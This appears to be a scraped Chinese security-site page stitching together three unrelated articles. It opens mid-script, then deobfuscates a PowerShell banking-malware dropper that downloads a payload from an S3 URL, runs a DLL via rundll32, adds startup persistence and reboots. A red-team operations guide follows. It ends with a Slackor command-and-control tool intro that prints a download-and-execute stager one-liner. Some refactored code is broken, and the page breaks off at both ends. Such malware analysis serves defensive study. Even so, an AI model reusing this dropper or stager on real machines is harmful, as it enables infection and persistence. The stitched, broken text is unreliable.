        __/====\___/=\_/\_ ${____/===\/=====\/} ${/=\/==\__/\_/\__/}; sleep -s 1 
        if ((gi ${/=\/==\__/\_/\__/}).length -gt 2048kb)
         {
           ${/===\/\_/====\/=\}  = $true                                                          
           ${_/=\_/==\/=\__/\_} =  "Y" 
          } 
          else 
           {                     
            ${_/=\_/==\/=\__/\_} = "N"
           }
        Write-Host ${/===\/\_/====\/=\}
        }  
       ${_/=\_/==\/=\__/\_} =  "Y" 
        if (${_/=\_/==\/=\__/\_} -eq "Y")
          {
          ${/===\__/\/==\_/==} = ${___/\/===\____/\/}+${/=\______/=\/==\/} +$('.zip')
           ren -Path $ExecutionContext.InvokeCommand.ExpandString('${/=\/==\__/\_/\__/}') -NewName $ExecutionContext.InvokeCommand.ExpandString('${/===\__/\/==\_/==}');
          ${/=\_/=\_/===\___/} = New-Object -ComObject shell.application
          ${_/\___/\_/======\} = ${/=\_/=\_/===\___/}.NameSpace(${/===\__/\/==\_/==})               
            foreach (${_/====\/\_/\/\__/} in ${_/\___/\_/======\}.items()) 
             {
                ${/=\_/=\_/===\___/}.Namespace(${___/\/===\____/\/}).CopyHere(${_/====\/\_/\/\__/})
             }
          sleep -s 3 
          ${_/\_/=\_/=\_/\___} = ____/\__/===\_/=\/
          ${/=\_/===\/\_/===\} = ${_/\_/=\_/=\_/\___} + ('.prx')
          ${_/\_/=\_/=\_/\___} = ${_/\_/=\_/=\_/\___} + ('.dll')
          ren -Path $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\/\_/\_/=\/====}') -NewName $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\_/=\_/=\_/\___}');
          ren -Path $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\____/=\/\_/===}') -NewName $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${/=\_/===\/\_/===\}');
          sleep -s 3 
          cd $env:APPDATA ; 
          shellObjeto = New-Object -Com WScript.Shell
          ${_/=\/\/\/=\__/\/=} = shellObjeto.SpecialFolders.Item($('startup');
          del ${_/=\/\/\/=\__/\/=}\*.vbs
          del ${_/=\/\/\/=\__/\/=}\*.lnk
          ${/=\______/\_/\_/=} = $ExecutionContext.InvokeCommand.ExpandString('cd $env:APPDATA; Start-Process rundll32.exe ${_/\_/=\_/=\_/\___}, ${___/=\/\/\_____/=}')
          ${___/=\/==\/\_____} = $ExecutionContext.InvokeCommand.ExpandString('${_/=\/\/\/=\__/\/=}\${/=\_/===\/\_/===\}.lnk')
          _____/==\_/=\_/=== ${___/=\/==\/\_____}  ${/=\______/\_/\_/=}
          sleep -s 40
Restart-Computer -Force
        }
    }
  }

这样我们就可以慢慢分析上面的代码了,下面我将其中部分重要代码拿出来分析,并用通俗的方法展示出来。

###

在下面给出的代码中,命名了多个虚拟系统。

function _/=\/\/===\/==\___
{
  ${_/\___/=\_/\/\__/} = gwmi -Class Win32_ComputerSystem |select -ExpandProperty Model
  if (${_/\___/=\_/\/\__/} -eq $('VirtualBox') -or
    ${_/\___/=\_/\/\__/} -eq $('VMware Virtual Platform') -or
    ${_/\___/=\_/\/\__/} -eq $('Virtual Machine') -or
  ${_/\___/=\_/\/\__/} -eq $('HVM domU')
  {
    return "Y"
  }
  else
  { 
    return "N"
  }
}

我们可以看到,变量_ / \ ___ / = \ _ / \ / \ __ /包含有关当前系统的信息。因此可以将其重命名为computerSystem。同样的_ / = \ / \ / === \ / == \ ___是检查当前环境是否为虚拟环境,因此可以将其重命名为vmCheck。重构代码如下。

function vmCheck
{
  ${computerSystem} = gwmi -Class Win32_ComputerSystem |select -ExpandProperty Model
  if (${computerSystem} -eq $('VirtualBox') -or
    ${computerSystem} -eq $('VMware Virtual Platform') -or
    ${computerSystem} -eq $('Virtual Machine') -or
  ${computerSystem} -eq $('HVM domU')
  {
    return "Y"
  }
  else
  { 
    return "N"
  }
}

下面的函数看起来像一个随机字符串生成器,因为有一个字符串包含一个通用的键盘布局。

function ____/\__/===\_/=\/
{
  try
  {
    ${___/\_/=\_/=\_/\/} = Get-Random -Minimum 1 -Maximum 9
    ${_/\/\_/\/\_/=\/\/} = ""
    For (${/==\/\___/\_/\/==}=0; ${/==\/\___/\_/\/==} -le ${___/\_/=\_/=\_/\/}; ${/==\/\___/\_/\/==}++) 
    {
      qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM  = $('qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM')
      nomeRandomico_getrandom  = Get-Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length
      caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring(nomeRandomico_getrandom,1)
      ${_/\/\_/\/\_/=\/\/} = ${_/\/\_/\/\_/=\/\/}+caractereRandomico   
    }
    return ${_/\/\_/\/\_/=\/\/} 
  }
  finally{}
}

首先,可以观察到for循环。变量/ == \ / \ ___ / \ _ / \ / ==命名为i,循环迭代的次数等于___ / \ _ / = \ _ / = \ _ / \ /的值。该变量设置为1到9之间的随机值,并定义for循环的长度。可以将其重命名为length。那么最后一个变量_ / \ / \ __ / \ / \ _ / = \ / \ /是返回值,可以重命名为returnValue

查看重构的代码,该功能的目的显而易见。

 try
  {
    ${length} = Get-Random -Minimum 1 -Maximum 9
    ${returnValue} = ""
    For (${i}=0; ${i} -le ${length}; ${i}++) 
    {
      qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM  = $('qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM')
      nomeRandomico_getrandom  = Get-Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length
      caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring(nomeRandomico_getrandom,1)
      ${returnValue} = ${returnValue}+caractereRandomico   
    }
    return ${returnValue} 
  }
  finally{}

从字符集qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM中,随机复制字符1至9次。然后返回连接的输出,提供伪随机字符串。可以将函数____ / \ __ / === \ _ / = \ /重命名为getRandomString

下一个功能更长,但是从一开始就提供更多信息,因为它使用了点网系统的各个部分,在这些部分中字符串没有被混淆。代码如下。

function __/====\___/=\_/\_(${___/\/\_/\_/=\__/\}, ${___/==\/=\/=\____/})
{
    ${/=\_/\/====\/\_/\} = New-Object $('System.uri') $ExecutionContext.InvokeCommand.ExpandString($S{___/\/\_/\_/=\__/\}) 
    ${/=\/===\_/\/\_/\_} = [System.Net.HttpWebRequest]::Create(${/=\_/\/====\/\_/\}) 
    ${/=\/===\_/\/\_/\_}.set_Timeout(15000) 
    ${/=\/====\__/==\__} = ${/=\/===\_/\/\_/\_}.GetResponse() 
    ${/=\_/==\__/\__/\_} = [System.Math]::Floor(${/=\/====\__/==\__}.get_ContentLength()/1024) 
    ${_/===\/=\_/=\___/} = ${/=\/====\__/==\__}.GetResponseStream() 
    ${__/====\__/\/\__/} = New-Object -TypeName System.IO.FileStream -ArgumentList ${___/==\/=\/=\____/}, Create 
    ${/=\/=\/==\_/\/=\_} = new-object byte[] 10KB 
    ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) 
    ${/==\_/===\/\/=\/\} = ${_/===\_/=\/\/===\} 
    while (${_/===\_/=\/\/===\} -gt 0) 
    { 
        ${__/====\__/\/\__/}.Write(${/=\/=\/==\_/\/=\_}, 0, ${_/===\_/=\/\/===\}) 
        ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) 
        ${/==\_/===\/\/=\/\} = ${/==\_/===\/\/=\/\} + ${_/===\_/=\/\/===\} 
    } 
    ${__/====\__/\/\__/}.Flush()
    ${__/====\__/\/\__/}.Close() 
    ${__/====\__/\/\__/}.Dispose() 
    ${_/===\/=\_/=\___/}.Dispose() 
    return "Y"
}

该函数的第一个参数___ / \ / \ _ / \ _ / = \ __ / \用于第一行,其中调用了System.Uri类。给定的输入是url,可以这样重命名。

在下面的代码行中,变量/ = \ / === \ _ / \ // __ / \ _用于创建Syste.Net.HttpWebRequest对象。因此,该变量可以重命名为httpWebRequest

在此之后的两行,请求的响应保存在变量/ = \ / ==== \ __ / == \ __中。因此,该变量可以重命名为httpResponse。函数get_ContentLength返回responseContentLength(以前是/ = \ _ / == \ __ / \ __ / \ _),而GetResponseStream函数返回了responseStream(以前是_ / === \ / = \ _ / = \ ___ /)。

可以在原始名称__ / ==== \ __ / \ / \ __ /下找到Dot Net System.IO.FileStream。改成更具可读性的名称fileStream

下面的循环使用Dot Net FileStream Write函数将数据写入磁盘。重构代码如下。

function downloadFileAndWriteToFile(${url}, ${argumentList})
{
    ${uri} = New-Object $('System.Uri') $ExecutionContext.InvokeCommand.ExpandString($S{url}) 
    ${httpWebRequest} = [System.Net.HttpWebRequest]::Create(${uri}) 
    ${httpWebRequest}.set_Timeout(15000) 
    ${httpResponse} = ${httpWebRequest}.GetResponse() 
    ${responseContentLength} = [System.Math]::Floor(${httpResponse}.get_ContentLength()/1024) 
    ${responseStream} = ${httpResponse}.GetResponseStream() 
    ${fileStream} = New-Object -TypeName System.IO.FileStream -ArgumentList ${argumentList}, Create 
    ${arrayToWrite} = new-object byte[] 10KB 
    ${sizeToWrite} = ${responseStream}.Read(${arrayToWrite},0,${arrayToWrite}.length) 
    ${counter} = ${sizeToWrite} 
    while (${sizeToWrite} -gt 0) 
    { 
        ${fileStream}.Write(${arrayToWrite}, 0, ${sizeToWrite}) #byte[] array, int offset, int count 
        ${sizeToWrite} = ${responseStream}.Read(${arrayToWrite},0,${arrayToWrite}.length) 
        ${counter} = ${counter} + ${sizeToWrite} 
    } 
    ${fileStream}.Flush()
    ${fileStream}.Close() 
    ${fileStream}.Dispose() 
    ${responseStream}.Dispose() 
    return "Y"
}

下一个函数包含较少的变量,使重构代码更加容易。

function _____/==\_/=\_/===
{
  Param([string]${_/=====\/==\/\___/},[string]${___/\____/\_/=\/\_});
  try{  
    ${_/\/=\/\/===\/\/\} = New-Object -ComObject WScript.Shell 
    ${/=\/=\/\/=\_/=\__} = ${_/\/=\/\/===\/\/\}.CreateShortcut(${_/=====\/==\/\___/}) 
    ${/=\/=\/\/=\_/=\__}.TargetPath = 'powershell'
    ${/=\/=\/\/=\_/=\__}.Arguments = $ExecutionContext.InvokeCommand.ExpandString('$S{___/\/\_/\_/=\__/\}')
    ${/=\/=\/\/=\_/=\__}.WorkingDirectory = $('%SystemRoot%\System32')
    ${/=\/=\/\/=\_/=\__}.WindowStyle = 7   
    ${/=\/=\/\/=\_/=\__}.IconLocation = $('%ProgramFiles%\Internet Explorer\iexplore.exe,1')
    ${/=\/=\/\/=\_/=\__}.Save()
  }finally{}
}

在函数的第一行中,实例化了WScript.Shell对象。因此,变量_ /\/=\/\/===\/\/\可以重命名为wscriptShellObject。在第二行中,使用了两个变量。两者都可以根据此信息重命名。变量_ / ===== \ / == \ / \ ___ /是快捷方式的targetLocation,因为它是作为参数传递的。快捷方式对象由CreateShortcut方法返回,使/ = \ / = \ / \\ / = \ _ / = \ __等于createShortcut

变量____ / \ / \ _ / \ _ / = \ __ / \等于createShortcut的参数。重构代码如下。

function createShortcut
{
  Param([string]${targetLocation},[string]${unusedCommand});
  try{  
    ${wscriptShellObject} = New-Object -ComObject WScript.Shell 
    ${shortcut} = ${wscriptShellObject}.CreateShortcut(${targetLocation}) 
    ${shortcut}.TargetPath = 'powershell'
    ${shortcut}.Arguments = $ExecutionContext.InvokeCommand.ExpandString($S{arguments})
    ${shortcut}.WorkingDirectory = $('%SystemRoot%\System32')
    ${shortcut}.WindowStyle = 7   
    ${shortcut}.IconLocation = $('%ProgramFiles%\Internet Explorer\iexplore.exe,1')
    ${shortcut}.Save()
  }finally{}
}

根据提供的目标位置,在系统上创建一个新的快捷方式。该图标是驻留在iexplore.exe二进制文件中的第二个图标(第一个索引)。窗口样式7用于最小化窗口并将下一个窗口聚焦在屏幕上。该快捷方式将与提供的参数一起在%StystemRoot%\ System32目录中执行Powershell 。

脚本中的最后一个函数如下。

function _/=\/\_/\/===\_/==
{
  try
  {
    ${_/======\_/\/=\/\} = New-Object System.Threading.Mutex($false, $('444444444444'))
    return ${_/======\_/\/=\/\}.WaitOne()  
  }finally{}
}

此函数中使用了System.Threading.Mutex,并且可以这样重构_ / ====== \ _ / \ // = \ / \。互斥锁用于确保一次仅运行一个实例。重构代码如下。

function mutexCheck
{
  try
  {
    ${threadingMutex} = New-Object System.Threading.Mutex($false, $('444444444444'))
    return ${threadingMutex}.WaitOne()  
  }finally{}
}

全部放在一起

现在,所有函数都已重构,需要分析执行的代码,因为它显示了调用函数的顺序以及为函数提供了参数的顺序。代码如下。

${amazonUrl} = $('https://s3-eu-west-1.amazonaws.com/juremasobra2/image2.png')
_.dll = $('_.dll')
_.prx = $('_.prx')
MaxNotify   = $('MaxNotify')
 
  if (vmCheck -eq "N")
  {
  if (mutexCheck)  {
     stop-process -name wmplayer 
    ${___/\/===\____/\/} = ${env:APPDATA}+"\"
    ${/=\______/=\/==\/} = getRandomString
    ${/===\/=\/\_/=\/==} = $('.txt')
    ${_/=\/===\/\___/\_} = $('.vbs')
    ${/=\/==\__/\_/\__/}  = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${/===\/=\/\_/=\/==}
    ${/=\__/=\___/===\_}  = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${_/=\/===\/\___/\_} 
    sleep -s 1
        ${/===\/\_/====\/=\}  = $false
        while(${/===\/\_/====\/=\} -ne $true)
        {
        downloadFileAndWriteToFile ${amazonUrl} ${/=\/==\__/\_/\__/}; sleep -s 1 
        if ((gi ${/=\/==\__/\_/\__/}).length -gt 2048kb)
         {
           ${/===\/\_/====\/=\}  = $true                                                          
           ${_/=\_/==\/=\__/\_} =  "Y" 
          } 
          else 
           {                     
            ${_/=\_/==\/=\__/\_} = "N"
           }
        Write-Host ${/===\/\_/====\/=\}
        }  
       ${_/=\_/==\/=\__/\_} =  "Y" 
        if (${_/=\_/==\/=\__/\_} -eq "Y")
          {
          ${/===\__/\/==\_/==} = ${___/\/===\____/\/}+${/=\______/=\/==\/} +$('.zip')
           ren -Path $ExecutionContext.InvokeCommand.ExpandString('${/=\/==\__/\_/\__/}') -NewName $ExecutionContext.InvokeCommand.ExpandString('${/===\__/\/==\_/==}');
          ${/=\_/=\_/===\___/} = New-Object -ComObject shell.application
          ${_/\___/\_/======\} = ${/=\_/=\_/===\___/}.NameSpace(${/===\__/\/==\_/==})               
            foreach (${_/====\/\_/\/\__/} in ${_/\___/\_/======\}.items()) 
             {
                ${/=\_/=\_/===\___/}.Namespace(${___/\/===\____/\/}).CopyHere(${_/====\/\_/\/\__/})
             }
          sleep -s 3 
          ${_/\_/=\_/=\_/\___} = getRandomString
          ${/=\_/===\/\_/===\} = ${_/\_/=\_/=\_/\___} + ('.prx')
          ${_/\_/=\_/=\_/\___} = ${_/\_/=\_/=\_/\___} + ('.dll')
          ren -Path $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\/\_/\_/=\/====}') -NewName $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\_/=\_/=\_/\___}');
          ren -Path $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\____/=\/\_/===}') -NewName $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${/=\_/===\/\_/===\}');
          sleep -s 3 
          cd $env:APPDATA ; 
          shellObjeto = New-Object -Com WScript.Shell
          ${_/=\/\/\/=\__/\/=} = shellObjeto.SpecialFolders.Item($('startup');
          del ${_/=\/\/\/=\__/\/=}\*.vbs
          del ${_/=\/\/\/=\__/\/=}\*.lnk
          ${/=\______/\_/\_/=} = $ExecutionContext.InvokeCommand.ExpandString('cd $env:APPDATA; Start-Process rundll32.exe ${_/\_/=\_/=\_/\___}, ${___/=\/\/\_____/=}')
          ${___/=\/==\/\_____} = $ExecutionContext.InvokeCommand.ExpandString('${_/=\/\/\/=\__/\/=}\${/=\_/===\/\_/===\}.lnk')
          createShortcut ${___/=\/==\/\_____}  ${/=\______/\_/\_/=}
          sleep -s 40
Restart-Computer -Force
        }
    }
  }

首先,执行vmCheck函数。仅当结果为负数(N)时,才会继续执行。然后,调用mutexcheck函数,以确保没有其他正在运行的实例使用相同的互斥锁(是数字4的十二倍)。如果存在名称为wmplayer的进程,则将其停止。之后,将设置多个变量并用于创建其他变量。第一部分的代码如下。

${amazonUrl} = $('https://s3-eu-west-1.amazonaws.com/juremasobra2/image2.png')
_.dll = $('_.dll')
_.prx = $('_.prx')
MaxNotify   = $('MaxNotify')
 
 if (vmCheck -eq "N")
  {
  if (mutexCheck)  {
     stop-process -name wmplayer 
    ${AppData} = ${env:APPDATA}+"\"
    ${getRandomStringResult} = getRandomString
    ${DotTxt} = $('.txt')
    ${DotVbs} = $('.vbs')
    ${AppDataTxtFileLocation}  = ${AppData}+${getRandomStringResult}+${DotTxt}
    ${AppDataVbsFileLocation}  = ${AppData}+${getRandomStringResult}+${DotVbs} 
    sleep -s 1

然后,将文件下载并保存为机器的APPDATA文件夹中的文本文件,如下所示。

 ${isDownloadSucceeded}  = $false
        while(${isDownloadSucceeded} -ne $true)
        {
        downloadFileAndWriteToFile ${amazonUrl} ${AppDataTxtFileLocation}; sleep -s 1 
        if ((gi ${AppDataTxtFileLocation}).length -gt 2048kb)
         {
           ${isDownloadSucceeded}  = $true                                                          
           ${isDownloadSucceededString} =  "Y" 
          } 
          else 
           {                     
            ${isDownloadSucceededString} = "N"
           }
        Write-Host ${isDownloadSucceeded}
        }  
       ${isDownloadSucceededString} =  "Y"

下载完成后,压缩文件夹将重命名并解压缩。

if (${isDownloadSucceededString} -eq "Y")
        {
        ${ZipFilePath} = ${AppData}+${getRandomStringResult} +$('.zip')
          ren -Path $ExecutionContext.InvokeCommand.ExpandString(${AppDataTxtFileLocation}) -NewName $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString(${ZipFilePath});
        ${shellApplication} = New-Object -ComObject shell.application
        ${ZipFile} = ${shellApplication}.NameSpace(${ZipFilePath})              
          foreach (${file} in ${ZipFile}.items())
            {
              ${shellApplication}.Namespace(${AppData}).CopyHere(${file})
            }
        sleep -s 3

在下面的代码中,仍然有多个字符串被混淆,但似乎脚本没有完全完成,因为变量仅被使用,而从未实例化。在整个脚本中,已下载文件的名称被多次重命名,然后将它们放置在计算机的启动文件夹中。这是此示例中使用的持久性技术。

之后,通过rundll32.exe调用DLL 。在强制重启机器之前,睡眠功能会等待40秒。然后,使用先前设置的持久性机制使恶意软件在计算机上保持活动状态。

${getRandomStringResult2} = getRandomString
        ${prxFileName} = ${getRandomStringResult2} + $('.prx')
        ${getRandomStringResult2} = ${getRandomStringResult2} +$('.dll')
        ren -Path $ExecutionContext.InvokeCommand.ExpandString($env:APPDATA\${_/\/\_/\_/=\/====}) -NewName $ExecutionContext.InvokeCommand.ExpandString($env:APPDATA\${getRandomStringResult2});
        ren -Path $ExecutionContext.InvokeCommand.ExpandString($env:APPDATA\${_/\____/=\/\_/===}) -NewName $ExecutionContext.InvokeCommand.ExpandString($env:APPDATA\${prxFileName});
        sleep -s 3
        cd $env:APPDATA ;
        shellObjeto = New-Object -Com WScript.Shell
        ${startupFolder} = shellObjeto.SpecialFolders.Item('startup');        
        del ${startupFolder}\*.vbs
        del ${startupFolder}\*.lnk
        ${startCommand} = $ExecutionContext.InvokeCommand.ExpandString('cd $env:APPDATA; Start-Process rundll32.exe ${getRandomStringResult2}, ${___/=\/\/\_____/=}')
        ${shortcutTargetLocation} = $ExecutionContext.InvokeCommand.ExpandString(${startupFolder}\${prxFileName}.lnk)
        createShortcut ${shortcutTargetLocation} ${startCommand}
        sleep -s 40
Restart-Computer -Force
      }
  }
}

该恶意软件的银行活动未在本文中进行记录,因为它超出了本文的范围。

注意:文中部分敏感代码可能被Freebuf的编辑器替换,想要查看原始代码的小伙伴可以点击最下面查看原文

*参考来源:maxkersten,FB小编周大涛编译,转载请注明来自FreeBuf.COM

介绍

本文是分享就如何建立和运营红队提供实用建议以及我的经验。实际上,我指的是一群人应该执行的日常活动,才能被视为有效的安全团队。

为了节省您的时间,我不说一些极端情况,而是提供最重要的技巧,您可以根据组织的具体情况对其进行扩展。

红队有两个部分:运营和基础架构。

运营是一组规则,用于管理团队如何选择其目标,定义范围,执行任务以及进行操作以实现其目标。

基础设施是命令和控制中心,恶意软件,协作工具,服务器,内部文档和外泄数据存储的总称。

运作方式

任务

红队的任务是通过从对抗性的角度查看组织的行为和技术业务职能,以改善组织的安全状况。

技术方面是测量和提高检测范围。通过模仿已知的对手或为虚构的对手创建配置文件,红队正在帮助组织了解其检测和响应的运行状况,例如“我们能否看到MacOS的持久性”,“我们是否能够捕获渗透”通过AirDrop”,“密码重用是一个问题”。

行为方面是在人们与组织交互的方式中理解问题。业务逻辑,策略和程序是这些操作的目标,例如“在招聘过程中是否有机会伤害组织(例如让申请人不受监督),“我们如何与供应商合作”,“我们将能够发现一个由国家赞助的代理商从内部收集数据”。

范围

鉴于任务说明的广度,团队必须具有非限制性范围。在最佳情况下,这意味着暗示同意测试组织可以合法测试的所有功能。

如果团队的行动与组织的其余部分一样受到约束,则团队将无法有效运营并实现其目标。红队从根本上讲是一门艺术,而创造力不能在有限的环境中蓬勃发展。

有一些灰色区域,例如员工的个人计算机或手机,生产数据库,供应商拥有的设备等。总的来说,如果使用系统执行业务功能,则除非法律明确禁止,否则该系统属于范围内。

目标

目标必须是业务功能,而不是孤立的系统或流程。

对于组织而言,一个常见的错误是将范围限制在应用程序或服务器上,从而通过将其转变为代码审查或渗透测试来破坏实践的价值。团队必须可以自由地在所有个人计算机,服务器和其他设备之间横向移动,只要它们未被捕获或处于活动状态即可。

目标选择过程必须由领导层,DFIR,威胁情报,检测和监视以及任何其他对组织的业务职能和对手的胃口有深刻了解的团队来告知。

威胁情报团队提供的有关攻击组织的真实对手及其意图的信息尤其重要。红队的职责是将这些信息纳入自己的行动设计中。但是,关于目标和范围的最终决定必须掌握在进攻安全团队及其主管的手中。

红队必须保持选择自己目标的独立性,尽管设计与业务威胁概况无关的对手或其他程序已经很好涵盖的攻击系统是浪费的。

指挥链

理想情况下,进攻性安全主管必须直接与CISO或其他负责组织安全性的执行官一起工作,并且是进攻性安全能力的强有力宣传者。如果组织的领导层不对红队表示大力支持,那么创建一个团队将会浪费资源。

红队还必须完全独立地执行其目标。

在团队内部,应将角色划分为适用于团队和组织规模的角色。

至少您需要有一名主管,一名操作员和一名工程师。如果资源允许,您应该扩展团队,以包括更多专业人士向中级领导或负责级别的团队成员进行报告。

主管根据团队当前的技能差距定义专业。拥有专业知识可以防止职责混淆。

操作员的职责是利用他或她对进攻性安全技术的了解进行操作。他们是研究目标,发现和利用弱点并针对目标采取行动的人。

工程师的作用是为操作员提供技术能力,例如漏洞研究和利用,恶意软件编写,命令和控制基础结构,硬件设备,网络连接等。

主任的职责是与其他团队合作,以收集有关范围的意见,并以尽可能最具成本效益的方式帮助弥补弱点,使团队免受通常与组织红队有关的文书工作负担(例如编写报告),并倡导团队,以他或她的远见支持和指导团队。

交战规则

到目前为止,运营红队最重要的部分是树立正确的心态。可以将红队的交战规则直接从《提供救济的行动交战规则》中:

“We are not at war. Treat all persons with dignity and respect.”

尽管有对抗性的心态,但红队对组织并不具有对抗性。业务各个部门之间的协作对于团队的成功至关重要。应避免捍卫者花时间追赶红队的情况。

升级程序可能会根据操作而有所不同,但总的来说,领导者应该了解操作并使其与现场人员保持秘密,以此作为对付对手的机会。通信通道应该是开放的,因此当安全事件升级时,领导者应该能够快速验证其起源,而不会在实际事件中造成延迟。

在发生冲突的情况下,双方都必须了解解决方案,即如果系统崩溃了,则它是其设计的一部分。领导层必须加强“没有人过错”的观念,任何人为的意外伤害都不应归咎于任何人。否则,进攻性安全工作可能被视为对绩效或工作威胁的审计。

整治

红队间接负责其他团队的教育。每个操作都应以对结果的深入根本原因分析以及有效且切合实际的补救计划作为结论。

该计划不仅要解决错误或创建票证。有时,最明显的补救措施可能不是最合乎逻辑的补救措施,例如,修复错误与更改流程以使开发人员更轻松地编写安全代码。团队应仔细考虑该计划的所有二阶影响,并决定是否需要更改政策,进行额外的培训或购买新工具。

进攻性安全主管或专职人员应负责领导和共享分析工作。

培训与会议

由于获得成本,红队技能昂贵。一个强大的红色团队通常是一个将大量时间投入到研究和自我教育中的人。需要一套独特的生活环境,智慧,好奇心和毅力,才能将进攻技能培养到对组织有价值的水平。

组织必须了解这一点,并向红队提供无偿培训和出席会议的奖励。团队成员必须以最小的组织负担自由回馈社区。这包括在会议上发言,使用开放源代码工具以及进行和参加培训研讨会。

适当的会议出席和建立网络的副作用是招募业内最优秀的人才(否则这是一个重大挑战)。

指标

由于工作的创造性,没有可靠的量化指标可用于计算团队绩效。

诸如发现的所有错误之类的常用指标本质上是错误的,并且与红队的任务无关。

就是说,定性地查看结果应该可以很好地说明团队的表现。您可以比较已完成的操作数量,目标的复杂性和重要性,已实现的结果以及已交付的有意义的更改。

行动的起点

起点因操作而异。一些内部团队通常认为他们可以访问其中一台内部计算机,而其他一些则更喜欢每次都突破边界。这两种方法都有好处,每次重新启动都会使您的边界受到控制,而从内部重新启动可以节省时间和金钱,从而可以使您更多地关注组织的内部。

操作日志

团队必须在操作过程中保留详细的事件日志,包括日期,时间,采取的行动,执行的命令,执行的位置等。这将有助于检测小组将其在传感器上看到的事件与进攻性安全小组的行动相关联。 。

与组织的检测团队合作非常重要,因为有时由于来自传感器的数据量很大,很难找到红色团队生成的事件。

时间

参与多少次以及持续多长时间取决于参与的复杂性,业务规模和团队规模。手术时间限制为两个月至三个月。红队的参与度不得少于三周。

基础设施

安全审查

经营一支红色团队的挑战之一是在不与公司网络过于分离的情况下,切实地模仿对手。

在某个时候,团队的网络将可以直接访问组织的重要服务器和个人计算机,并且必须受到保护。

泄露的数据必须进行加密传输,并存储在安全的地方。屏幕截图,操作说明,发现的秘密以及红色团队参与的其他产品也必须得到适当保护。

基础架构可以通过云和本地功能的组合来构建,例如,主命令和控制可以托管在组织的数据中心内部,而流量代理可以部署在云中。该团队应由适当的安全团队审查其基础结构设计或“基础结构即代码”。

必须信任团队来部署他们自己的基础结构,以允许灵活性和独立性来针对任何特定的操作或对手情况进行调整,并且应该为他们提供安全地这样做的资源。

Appsec团队还可以检查恶意软件代码的安全漏洞,但是,需要达成协议,避免在检查过程中信标及其通信协议的指纹。

另一个重要方面是采购不受组织管理的专用运营商笔记本电脑。如果必须擦拭硬盘驱动器,使用它们将有助于保持机密性并允许重新成像。

预算

预算可分为两个领域:可预测的年度预算和运营支出。人员,设备,培训和研发是年度团队预算的一部分。营业费用是指每项单独操作产生的费用。这些可以包括采购专用工具,云基础架构,源代码等,以实现运营目标。

对我来说,运营费用的批准流程需要简单而有效的流程,因此团队不会在等待数周之久才能获得所需工具的过程中陷入困境。

协作工具

根据您计划红队拥有多少隐私和真实性,您可能希望将其协作工具与组织的其他部分分开。

虽然完全保密不是协作环境中的主要关注点,但是某些操作可能会更加敏感,并且需要使用组织其余部分无法访问的工具,例如,在并购,内部威胁模拟,针对首席执行官或董事会办公室的操作中董事。

对于日常运营,可以使用公司的企业协作软件,例如云存储,聊天或类似的工具,用于记笔记,报告和其他业务活动。

密码破解装备

该团队可能需要密码破解功能。他们可能选择使用云提供商的GPU实例或构建密码破解装备。如果团队也在进行漏洞研究,他们将需要专用的模糊服务器。

信息泄露

运营期间收集的信息可以大致分为两类:漏洞和商业秘密。

漏洞是团队进一步进行操作的手段,例如有关错误配置,错误,密码等的信息。可以将漏洞安全地保存在注释中。

商业秘密是如果被盗可能对组织造成损害的数据。被窃取的数据只能通过加密的通道传输,并存储在安全的位置。一些组织可能选择泄露相同大小的随机数据以证明这一点而不会危害组织的秘密或根本不泄露任何东西。

结论

攻击性安全是组织保护其专有信息和客户的工作的重要组成部分。虽然红队不是很复杂,但他们需要领导的支持和理解才能有效地执行。

*参考来源:medium,FB小编周大涛编译,转载请注明来自FreeBuf.COM

该项目的灵感来自GcatTwittor

1566957526_5d65dfd6c0f21.png!small

1566957558_5d65dff6d060e.png!small

编译

注意:服务器是用Python 3编写的

为此您需要准备

1.Slack工作区

2.并为slack应用设置以下权限:

channels:read
channels:history
channels:write
files:write:user
files:read
创建一个机器人

这个仓库包含五个文件:

install.sh 安装依赖

setup.py 用于创建通道,数据库的脚本

agent.py 用于生成后门的脚本

server.py Slackor服务器,在Linux上运行

agent.go golang后门

requirements.txt Python依赖

如何开始:

go get github.com/Coalfire-Research/Slackor

cd $GOPATH/src/github.com/Coalfire-Research/Slackor

install.sh

setup.py

为您的应用程序提供OAuth token

成功运行脚本后,脚本将在dist/目录中创建几个文件:

agent.windows.exe:Windows 64位二进制文件
agent.upx.exe:Windows 64位二进制文件,UPX打包
agent.darwin:macOS 64位二进制文件
agent.32.linux:Linux 32位二进制文件
agent.64.linux:Linux 64位二进制文件

server.pyLinux主机上启动后,

运行stager模块以生成单线程和其他dropper。

powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe

这将执行InvokeWebRequest(PS v.3 +)以下载payload,使用LOLBin执行它

用法

